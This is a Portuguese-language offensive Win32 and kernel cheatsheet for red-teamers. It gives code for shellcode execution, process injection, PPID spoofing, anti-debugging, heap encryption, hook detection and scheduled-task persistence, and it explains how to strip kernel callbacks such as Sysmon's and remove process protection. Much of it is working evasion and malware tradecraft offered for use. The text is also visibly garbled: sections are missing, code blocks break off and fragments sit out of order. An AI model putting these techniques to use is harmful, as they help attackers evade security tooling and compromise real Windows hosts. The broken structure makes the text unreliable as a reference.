# Cheatsheet Ofensivo do Win32

Técnicas de abuso do Win32 e do Kernel para pentesters e red-teamers feitas por [@UVision](https://github.com/matthieu-hackwitharts) e [@RistBS](https://twitter.com/RistBs)

**Modo desenvolvedor ativado, aberto a qualquer ajuda :)**

- [Documentação de Binários do Windows](#windows-binary-documentation)
  - [Estrutura do PE](#pe-headers)
   - [Cabeçalhos do PE ](#pe-headers)
   - [Análise do PE ](#parsing-pe)
   	- [Tabela de Endereços de Exportação (EAT) ](#export-address-table-eat)
  	- [Resolver endereço de função ](#resolve-function-address)
   - [Tabela de Endereços de Importação (IAT) ](#import-address-table-iat)
     - [Análise da IAT ](#parsing-iat)
   - [Tabela de Consulta de Importação (ILT) ](#import-lookup-table)
   - [Habilitar privilégio SeDebug](#enable-sedebug-privilege)
- [Executar algum binário](#execute-some-binary)
  - [Execução clássica de shellcode](#classic-shellcode-execution)
  - [Execução de DLL ](#dll-execute)
  - [Arquivo RAW para PE](#raw-file-to-pe)
- [Técnicas de injeção de código](#code-injection-techniques)
  - [Injeção CreateRemoteThread](#createremotethread-injection)
  - [Process Hollowing](#process-hollowing)
  - [Técnica de Fila APC](#apc-queue-technique)
  - [Early Bird](#early-bird)
  - [Injeção Reflexiva de DLL](#reflective-dll-injection)
  - [Injeção de DLL](#dll-injection)
  - [Process Doppelganging](#process-doppelganging)
  - [Fibras](#fibers)
  - [CreateThreadPoolWait](#createthreadpoolwait)
  - [Sequestro de Thread](#thread-hijacking)
  - [Injeção de código MapView](#mapview-code-injection)
  - [Module Stomping](#module-stomping)
  - [Function Stomping](#function-stomping)
- [Técnicas de hooking](#hooking-techniques)
  - [Hooking inline](#inline-hooking)
  - [Hooking de IAT](#iat-hooking)
- [Técnicas de bypass de RE](#re-bypass-techniques)
  - [Ofuscação de chamadas e strings](#call-and-strings-obfuscation)
  - [Resolução manual de funções](#manual-function-resolve) 
  - [Hashing de API do Win32](#win32-api-hashing)
- [Bypass de EDR/Endpoint](#edrendpoint-bypass)
  - [Syscall direto ](#direct-syscall)
  - [Linguagens de alto nível ](#high-level-languages)
  - [Patch de hooking inline](#patch-inline-hooking)
  - [Detectar hooks](#detect-hooks)
  - [Patch de ETW](#patch-etw)
  - [Bypass de sandbox](#sandbox-bypass)
  - [Bypass de depuração](#debugging-bypass)
  - [Técnica de VirtualProtect](#virtualprotect-technique)
  - [Unhook com cópia nova](#fresh-copy-unhook)
  - [Hell's Gate](#hells-gate)
  - [Heaven's Gate](#heavens-gate)
  - [Spoofing de PPID](#ppid-spoofing)
  - [Callback de instrumentação de processo](#process-instrumentation-callback)
  - [Criptografia de heap](#heap-encryption)
  - [Ofuscação de sleep](#sleep-obfuscation)
- [Fundamentos de programação de drivers](#driver-programming-basics)
  - [Conceitos gerais](#general-concepts)
  - [Tabela de Dispatch de Serviços do Sistema (SSDT)](#system-service-dispatch-table-ssdt)
  - [Entrada do driver](#driver-entry)
  - [Entrada Saída)](#input-output)
  - [Comunicação com o driver](#communicate-with-the-driver)
  - [Assinatura de driver (Microsoft)](#driver-signing)
  - [Callbacks personalizados (ObRegisterCallbacks)](#custom-callbacks)
- [Programação Ofensiva de Drivers](#offensive-driver-programming)
  - [Patch de callback do kernel](#patch-kernel-callback)
  - [Patch de processo protegido](#patch-protected-process)
- [Usando a API Win32 para aumentar OPSEC](#using-win32-api-to-increase-opsec)
  - [Persistência](#persistence)
    - [Tarefas agendadas](#scheduled-tasks)
  - [Spoofing de linha de comando](#command-line-spoofing)
- [Diversos](#misc-stuff)
  - [Convenção de chamada x64](#x64-calling-convention)
  - [Execução indireta](#indirect-execution)
    - [Bypass de CFG com SetProcessValidCallTargets](#cfg-bypass-with-setprocessvalidcalltargets)

<br>

- [Técnicas de malware/sofisticadas](#malwaresophisticated-techniques)
  - [Caso do Emotet: PPID Spoofing usando WMI](#emotet-ppid-spoofing)
  - [Técnica de arquivos ocultos do malware Zeus](#zeus-malware-hidden-files)
  - [Técnica de hooking do keyloger SpyEye](#spyeye-keyloger-hooking-technique)
  - [Parada de malware mais ridícula (WannaCry)](#wannacry-killswitch)

<br>

# Documentação de Binários do Windows

## Ferramentas úteis e Sites/Livros/Cheatsheet

- 🔹 https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/ (Cheatsheet muito bom)
- 🔹 https://www.ired.team/ (Cheatsheet incrível de red team com ótimas notas sobre injeção de código)
- 🔹 https://undocumented.ntinternals.net/ (Funções NT não documentadas)
- 🔹 https://docs.microsoft.com/en-us/windows/win32/api/ (Documentação oficial da Microsoft)
- 🔹 [Windows Kernel Programming - Pavel Yosifovich](https://www.amazon.fr/Windows-Kernel-Programming-Pavel-Yosifovich/dp/1977593372)
- 🔹 https://research.checkpoint.com/ (Documentos muito interessantes sobre evasão, anti-debug e muito mais)
- 🔹 https://www.vx-underground.org/ (Conteúdo incrível sobre desenvolvimento de malware e engenharia reversa)

## Estrutura do PE

### Cabeçalhos do PE

- `DOS_HEADER` : Primeiro cabeçalho do PE, contém a mensagem do MS DOS ("This programm cannot be run in DOS mode...."), o Cabeçalho MZ (bytes mágicos para identificar o PE) e algum conteúdo de stub.
- `IMAGE_NT_HEADER` : Contém a assinatura do arquivo PE, o Cabeçalho do Arquivo e o Cabeçalho Opcional
- `SECTION_TABLE` : Contém os cabeçalhos das seções
- `SECTIONS` : Não é um cabeçalho, mas é útil saber: estas são as seções do PE

> Detalhes : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266


### Análise do PE

**Análise simples do PE para obter o endereço absoluto da IAT e da ILT:**

- **Obter endereço base** : `GetModuleHandleA(NULL);`
- **PIMAGE_DOS_HEADER** = endereço base, cabeçalho DOS
- **PIMAGE_NT_HEADER** = `BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew` (RVA do NT_HEADER)
- **IMAGE_DATA_DIRECTORY** = `OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]` de PIMAGE_NT_HEADER
- **IMAGE_IMPORT_DIRECTORY** = `IMAGE_DATA_DIRECTORY.VirtualAddress` (RVA de IMAGE_IMPORT_DIRECTORY)
- **IMAGE_IMPORT_DESCRIPTOR** = `BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress` (RVA de IMAGE_IMPORT_DESCRIPTOR)
- **Endereço absoluto da IAT** : IMAGE_IMPORT_DESCRIPTOR.FirstThunk (RVA da IAT) + BaseAddress
- **Endereço absoluto da ILT** : IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk (RVA da ILT) + BaseAddress


### Tabela de Endereços de Exportação (EAT)

A EAT resolve todas as funções que são exportadas pelo PE e também resolve DLLs. Ela é definida na estrutura IMAGE_EXPORT_DIRECTORY:
``````c   
typedef struct _IMAGE_EXPORT_DIRECTORY {
		DWORD Characteristics;
		DWORD TimeDateStamp;
		WORD  MajorVersion;
		WORD  MinorVersion;
		DWORD Name;   // name of DLL
		DWORD Base;   // first ordinal number
		DWORD NumberOfFunctions; // number of entries in EAT
		DWORD NumberOfNames; // number of entries in (1) (2)
		DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
		DWORD AddressOfNames;   // Pointer array contains address of function names
		DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;   

Em resumo, a IAT é uma tabela que contém ponteiros para várias funções importadas pelo PE de DLLs carregadas (ntdll, kernel32...).

## Analisando a IAT

1) Obter o RVA da IAT
2) Analisar a estrutura IMPORT_DESCRIPTOR: o membro Name é o RVA do nome da DLL atual
3) Para obter o nome real da DLL: encontre-o no ILT (originalFirstThunk+BaseAddress)
4) Para obter as funções exportadas da DLL atual: PIMAGE_IMPORT_BY_NAME function_name->Name = ImageBase+AdressOfData

> Exemplo de código detalhado aqui: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp

## Tabela de Lookup de Importação

Cada DLL importada pelo PE possui seu próprio ILT.```
Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)

OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);

CloseHandle(hToken); 

Esta função abrirá o token do seu processo atual e o ajustará para o privilégio **SE_PRIVILEGE_ENABLED**, que corresponde ao privilégio alvo.

# Executar algum binário

## Execução clássica de shellcode

> Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp

## Execução de DLL

Esta técnica teve boas taxas de bypass bem-sucedidas há alguns anos; no entanto, devido ao número crescente de EDRs e outras soluções de endpoint, a escrita em disco deve, tanto quanto possível, ser evitada.

> Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp

## Arquivo bruto para PE

Você pode executar um arquivo binário bruto na memória alocando o espaço do seu tamanho em uma  região de memória :```cpp
HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL);
SIZE_T size = GetFileSize(binfile,NULL);
LPVOID buffer=NULL;
ReadFile(binfile,buffer,size,NULL,NULL);
HANDLE hProc = GetCurrentProcess();

CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);
CloseHandle(hProc);

> para detectar module stomping (especialmente para Cobalt Strike), um scanner foi lançado chamado [DetectCobaltStomp](https://github.com/slaeryan/DetectCobaltStomp) para destacar alguns IoCs da técnica, mas o [autor](https://twitter.com/NinjaParanoid) do [Brute Ratel](https://bruteratel.com/) conseguiu [melhorar](https://www.youtube.com/watch?v=nPmcFKSHyvg&ab_channel=ChetanNayak) a técnica original.

## Function Stomping

Simplesmente substitua o endereço da função original (obtido com GetProcAddress) pelo novo. Esta técnica é bem detalhada pelo seu autor: https://idov31.github.io/2022-01-28-function-stomping/

<br>

# Técnicas de hooking

## Inline hooking

Inline hooking é a forma mais básica de fazer hook de uma função: consiste simplesmente em redirecionar a chamada da API para a sua própria função (jump)

> Exemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

## IAT hooking

Ao modificar o endereço correspondente da função para um ponteiro para sua própria função, você pode fazer o programa executar seu próprio código.

Isso pode ser feito seguindo vários passos:

- Encontre o endereço relativo da IAT
- Faça o parse da IAT para encontrar a função que você quer hookar
- Substitua esse endereço de função ("patch") pelo endereço da sua função
- Aproveite

> Exemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp

<br>

# Técnicas de bypass de RE

## Ofuscação de chamadas e strings

Existem várias técnicas que você pode usar para esconder suas chamadas para a api win32, aqui estão algumas delas:

- Use array `char[]` para dividir seus nomes de função/dll em múltiplos caracteres```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte

- Em seguida, resolva um ponteiro para a função :```cpp
myOpenProcess op_proc = (myOpenProcess*)GetProcAddress(LoadLibraryA("ndll.dll"),"OpenProcess"));
op_proc(PROCESS_ALL_ACCESS,NULL,12345);

> Encontre o número correto de syscall nesta tabela : https://j00ru.vexillium.org/syscalls/nt/64/


- Construa o protótipo da função usando `NTSTATUS````cpp
EXTERN_C NTSTATUS SysNtCreateFile(
	PHANDLE FileHandle, 
	ACCESS_MASK DesiredAccess, 
	POBJECT_ATTRIBUTES ObjectAttributes, 
	PIO_STATUS_BLOCK IoStatusBlock, 
	PLARGE_INTEGER AllocationSize, 
	ULONG FileAttributes, 
	ULONG ShareAccess, 
	ULONG CreateDisposition, 
	ULONG CreateOptions, 
	PVOID EaBuffer, 
	ULONG EaLength);

> Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp

## Linguagens de Alto Nível

C++/C são frequentemente mais sinalizados por produtos AV/EDR do que linguagens de alto nível equivalentes: use Go, Rust ou outra linguagem para criar seus melhores templates,

## Aplicar Patch em Inline Hooking

Simplesmente (re)aplique hook nas suas funções hookadas aplicando a chamada de função correta: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

## Detectar hooks

Para detectar hooks, primeiro você obterá o endereço base da NTDLL com `LoadLibrary`, então você analisará os cabeçalhos PE para localizar a EAT (IMAGE_EXPORT_DIRECTORY) e seus offsets, que conterão todas as informações importantes (funções exportadas + nome). Basta resolver nomes e endereços de funções enquanto itera pelas funções exportadas e aplicar as seguintes instruções `if` para classificar funções

- classificar funções para obter somente funções Nt ou Zw```c
if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0) { // ... }

- para a última declaração `if`, verifique se os primeiros 4 bytes de `functionName` são iguais a `mov r10, rcx; mov eax, ##`, que é o início do stub de syscall.```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }

## Bypass de Depuração

Não é uma técnica real de evasão de AV, mas ainda é útil para evitar ser revertido com demasiada facilidade por engenheiros de RE. Existem muitas maneiras de detetar ou enlouquecer depuradores, mas aqui estão algumas delas abaixo : 

**Maneira das flags**

Pode usar ```IsDebuggerPresent()``` (Win32) ou chamada direta ```NtQueryInformationProcess()``` (não muito documentada) para verificar se há flags de depuração.


**Maneira dos handles**

Tente fechar handles inválidos (inexistentes) com a API CloseHandle(). O depurador tentará capturar a exceção, o que pode ser facilmente detetado :```cpp
bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle
{
    __try
    {
        CloseHandle((HANDLE)0xDEADBEEF);
        return false;
    }
    __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode()
                ? EXCEPTION_EXECUTE_HANDLER 
                : EXCEPTION_CONTINUE_SEARCH)
    {
        return true;
    }
}

PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);

return 0;

## Thread Hijacking

Sequestre uma thread em um processo remoto suspendendo-a e, em seguida, substitua o registrador RIP (ou EIP, se estiver em x86) pelo endereço do seu shellcode. 

Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c

## PPID Spoofing

Quando um processo suspeito/anormal inicia abaixo de um processo pai "legítimo" ou sem supervisão, isso se torna muito suspeito. Pense em uma macro maliciosa do Word que implanta um processo do PowerShell: estranho, não?

O Spoofing de PPID pode evitar isso permitindo que você modifique o ID do processo pai (PPID) do processo criado por você.```cpp
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
int main() 
{
	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;
}

> ainda é "indocumentado" pela Microsoft, mas [Alex Ionescu](https://twitter.com/aionescu) o documentou [aqui](https://www.youtube.com/watch?v=pHyWyH804xE&ab_channel=S%C3%A9bastienDuquette) e Everdox também o fez [aqui](https://www.codeproject.com/Articles/543542/Windows-x64-system-service-hooks-and-advanced-debu)

> Código completo para contornar a instrumentação aqui : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c

## Criptografia de Heap

Percorra o heap com `HeapWalk` e depois criptografe as alocações :```c
VOID HeapEncryptDecrypt() {
    PROCESS_HEAP_ENTRY HeapWalkEntry;
    SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
    while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
        if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
            XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
        }
    }
}

> ntdll contém procedimentos de chamada de sistema para cada função Nt

- 26 é o **número do serviço do sistema** : é um índice no SSDT que resolve o endereço da função NtOpenProcess do kernel.
- A NtOpenProcess do modo kernel é chamada e se comunica com I/O como parte de um driver.

SSDT é definida em uma **Tabela de Descritores de Serviço** :```cpp
typedef struct tagSERVICE_DESCRIPTOR_TABLE {
    SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself
    SYSTEM_SERVICE_TABLE win32k;
    SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table
    SYSTEM_SERVICE_TABLE sst4;
} SERVICE_DESCRIPTOR_TABLE;

É muito importante usar a macro `UNREFERENCED_PARAMETER()` nos parâmetros `DriverObject` e `RegistryPath`, a menos que eles sejam referenciados adicionando algum código posteriormente.```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);

Em seguida, defina sua função CreateClose :```cpp
NTSTATUS
CreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);

	DbgPrint("[+] Hello from FirstDriver CreateClose\n");

	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;

	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

Depois reinicie o computador. Obviamente, você precisa de direitos de administrador local na máquina em que deseja executar esses comandos. Como é necessário reiniciar, **isso não é OPSEC de forma alguma**.


## Callbacks Personalizados

ObRegisterCallbacks (wdm.h) permite que você defina "callbacks" personalizados que podem ser usados para modificar o comportamento de um aplicativo em modo de usuário quando acionados por uma operação específica, como CreateProcess/OpenProcess (criação de handle).

Basicamente, Ob Callbacks são definidos com um array OB_OPERATION_REGISTRATION, que será preenchido com a struct OB_CALLBACK_REGISTRATION (preenchida com callbacks).

Exemplo para acionar em OpenProcess/CreateProcess :```c
OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 };
OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };

obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles
obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles
obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code
obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed

NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, &reg_handle); //register callbacks
	if (!NT_SUCCESS(status_register)) {
		DbgPrint("[-] Error while trying to register callbacks\n");
	}
	else {

		DbgPrint("[+] Registering callbacks !\n");
	}

if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle

**Nota** : My_PROCESS_ALL_ACCESS pode ser definido como ```#define My_PROCESS_ALL_ACCESS (0x1FFFFF)``` (código hexadecimal win32).

**Como aplicar patch em ObCallbacks :** existem várias formas de corrigi-los, mas as provavelmente duas formas mais comuns de alcançar esse objetivo seriam escrever uma função obcallback com algum esquema como : "nop-nop-nop-ret", ou apagar o ponteiro de função obcallback dos itens _CALLBACK_ENTRY_ITEM. Observe que essas técnicas podem, na verdade, acionar o PatchGuard, portanto, preste atenção ao usar essas técnicas em um engajamento real.


# Programação Ofensiva de Drivers

## Patch em callbacks de kernel

Os callbacks de kernel foram introduzidos pela Microsoft principalmente para oferecer uma forma melhor para os editores de AVs/EDRs monitorarem e prevenirem ações suspeitas (Antes deles, muitos produtos de segurança usavam patch em modo kernel, como ganchos SSDT, para fazer o mesmo trabalho, mas a nova proteção PatchGuard os obrigou a usar essa nova solução).

Existem vários tipos de callbacks de kernel, especialmente : 

	- ProcessNotify : chamado quando um processo é criado ou encerrado.
	- ThreadNotify : chamado quando uma thread é criada ou encerrada (é excluída).
	- LoadImageNotify : chamado quando alguma imagem executável é carregada por outro exe (exemplo : DLL carregada por um processo)

Cada um deles tem sua função associada, como **PsSetCreateProcessNotifyRoutineEx** para configurá-los no seu driver. Esta última registra uma rotina de callback quando um novo processo é criado ou excluído no sistema Windows. Seu protótipo é definido como abaixo :```cpp
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
  [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
  [in] BOOLEAN                           Remove
);

onde **Process** é o processo atual sendo criado/excluído, **ProcessId** é o id desse processo, e **CreateInfo** é uma estrutura que contém várias informações sobre esse processo.

Quando um driver registra uma nova rotina de callback, seu endereço será armazenado em um array geralmente nomeado **Psp**name_of_your_callback. Por exemplo, a lista de todas as funções ProcessNotifyRoutine é armazenada no array **PspCreateProcessNotifyRoutine**.

Para remover esses callbacks, você simplesmente precisará esvaziar este array !

Infelizmente, o endereço deste tão empolgante array não tem nenhuma maneira direta de ser obtido. Felizmente, existem muitas maneiras de fazê-lo manualmente, buscando por alguns offsets específicos na memória.

Assim que você encontrar o endereço correto, pode enumerar todos os callbacks registrados e filtrá-los por nome do driver (driver Sysmon talvez ?:)), e remover apenas as funções de callback correspondentes na lista.



## Aplicar Patch em Processo Protegido

Processos Protegidos foram introduzidos com o Windows Vista. Pode ser definido como uma struct chamada EPROCESS (não definido : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess) que define se o processo é protegido ou não com três membros interessantes :```
kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 UniqueProcessId  : Ptr64 Void
   [...snip...]
   +0x6c8 SignatureLevel   : UChar //signature integrity of exe
   +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe
   +0x6ca Protection       : _PS_PROTECTION

Para remover a proteção PPL, você deve definir SignatureLevel,SectionSignatureLevel e Protection como 0.

Como o offset entre o endereço base do EPROCESS e PS_PROTECTION é 0x6c8, você pode recuperá-lo somando os dois valores.

Exemplo de código : //todo


# Usando a API Win32 para aumentar a OPSEC

## Persistência

### Tarefas Agendadas

**Nota** : Vários exemplos desta parte foram recuperados de : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations

A maneira "convencional" de agendar qualquer tarefa no sistema operacional Windows exige passar pela interface gráfica (Task Scheduler). Não é tão prático para nós, pois muitas vezes obtemos apenas uma sessão de linha de comando em um sistema comprometido.

Felizmente, a API Win32 pode ser usada para criar tais tarefas, permitindo que você faça uma ótima persistência para o seu beacon, ou privesc.

Basicamente, você precisa inicializar a biblioteca COM, então criar uma nova instância da classe ITaskService com a API **CoCreateInstance()**. Agora você pode editar seu objeto ITaskService para editar a pasta raiz, ação, hora e muito mais. Aqui está um exemplo abaixo :```cpp
/********************************************************************
 This sample schedules a task to start Notepad.exe 30 seconds after
 the system is started. 
********************************************************************/

#define _WIN32_DCOM

#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
//  Include the task header file.
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")


using namespace std;

int __cdecl wmain()
{
    //  ------------------------------------------------------
    //  Initialize COM.
    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if( FAILED(hr) )
    {
        printf("\nCoInitializeEx failed: %x", hr );
        return 1;
    }

    //  Set general COM security levels.
    hr = CoInitializeSecurity(
        NULL,
        -1,
        NULL,
        NULL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL,
        0,
        NULL);

    if( FAILED(hr) )
    {
        printf("\nCoInitializeSecurity failed: %x", hr );
        CoUninitialize();
        return 1;
    }

    //  ------------------------------------------------------
    //  Create a name for the task.
    LPCWSTR wszTaskName = L"Boot Trigger Test Task";

    //  Get the Windows directory and set the path to Notepad.exe.
    wstring wstrExecutablePath = _wgetenv( L"WINDIR");
    wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";


    //  ------------------------------------------------------
    //  Create an instance of the Task Service. 
    ITaskService *pService = NULL;
    hr = CoCreateInstance( CLSID_TaskScheduler,
                           NULL,
                           CLSCTX_INPROC_SERVER,
                           IID_ITaskService,
                           (void**)&pService );  
    if (FAILED(hr))
    {
          printf("Failed to create an instance of ITaskService: %x", hr);
          CoUninitialize();
          return 1;
    }
        
    //  Connect to the task service.
    hr = pService->Connect(_variant_t(), _variant_t(),
        _variant_t(), _variant_t());
    if( FAILED(hr) )
    {
        printf("ITaskService::Connect failed: %x", hr );
        pService->Release();
        CoUninitialize();
        return 1;
    }

    //  ------------------------------------------------------
    //  Get the pointer to the root task folder.  
    //  This folder will hold the new task that is registered.
    ITaskFolder *pRootFolder = NULL;
    hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
    if( FAILED(hr) )
    {
        printf("Cannot get Root Folder pointer: %x", hr );
        pService->Release();
        CoUninitialize();
        return 1;
    }
    
    //  If the same task exists, remove it.
    pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );
    
    //  Create the task builder object to create the task.
    ITaskDefinition *pTask = NULL;
    hr = pService->NewTask( 0, &pTask );

    pService->Release();  // COM clean up.  Pointer is no longer used.
    if (FAILED(hr))
    {
          printf("Failed to create a task definition: %x", hr);
          pRootFolder->Release();
          CoUninitialize();
          return 1;
    }
    
        
    //  ------------------------------------------------------
    //  Get the registration info for setting the identification.
    IRegistrationInfo *pRegInfo= NULL;
    hr = pTask->get_RegistrationInfo( &pRegInfo );
    if( FAILED(hr) )
    {
        printf("\nCannot get identification pointer: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    hr = pRegInfo->put_Author(L"Author Name");
    pRegInfo->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot put identification info: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    //  ------------------------------------------------------
    //  Create the settings for the task
    ITaskSettings *pSettings = NULL;
    hr = pTask->get_Settings( &pSettings );
    if( FAILED(hr) )
    {
        printf("\nCannot get settings pointer: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    //  Set setting values for the task. 
    hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
    pSettings->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot put setting info: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
       

    //  ------------------------------------------------------
    //  Get the trigger collection to insert the boot trigger.
    ITriggerCollection *pTriggerCollection = NULL;
    hr = pTask->get_Triggers( &pTriggerCollection );
    if( FAILED(hr) )
    {
        printf("\nCannot get trigger collection: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    //  Add the boot trigger to the task.
    ITrigger *pTrigger = NULL;
    hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger ); 
    pTriggerCollection->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot create the trigger: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    IBootTrigger *pBootTrigger = NULL;
    hr = pTrigger->QueryInterface( 
        IID_IBootTrigger, (void**) &pBootTrigger );
    pTrigger->Release();
    if( FAILED(hr) )
    {
        printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
    if( FAILED(hr) )
       printf("\nCannot put the trigger ID: %x", hr);
    
    //  Set the task to start at a certain time. The time 
    //  format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
    //  For example, the start boundary below
    //  is January 1st 2005 at 12:05
    hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
    if( FAILED(hr) )
       printf("\nCannot put the start boundary: %x", hr);
  
    hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
    if( FAILED(hr) )
       printf("\nCannot put the end boundary: %x", hr);

    // Delay the task to start 30 seconds after system start. 
    hr = pBootTrigger->put_Delay( L"PT30S" );
    pBootTrigger->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot put delay for boot trigger: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    } 
       

    //  ------------------------------------------------------
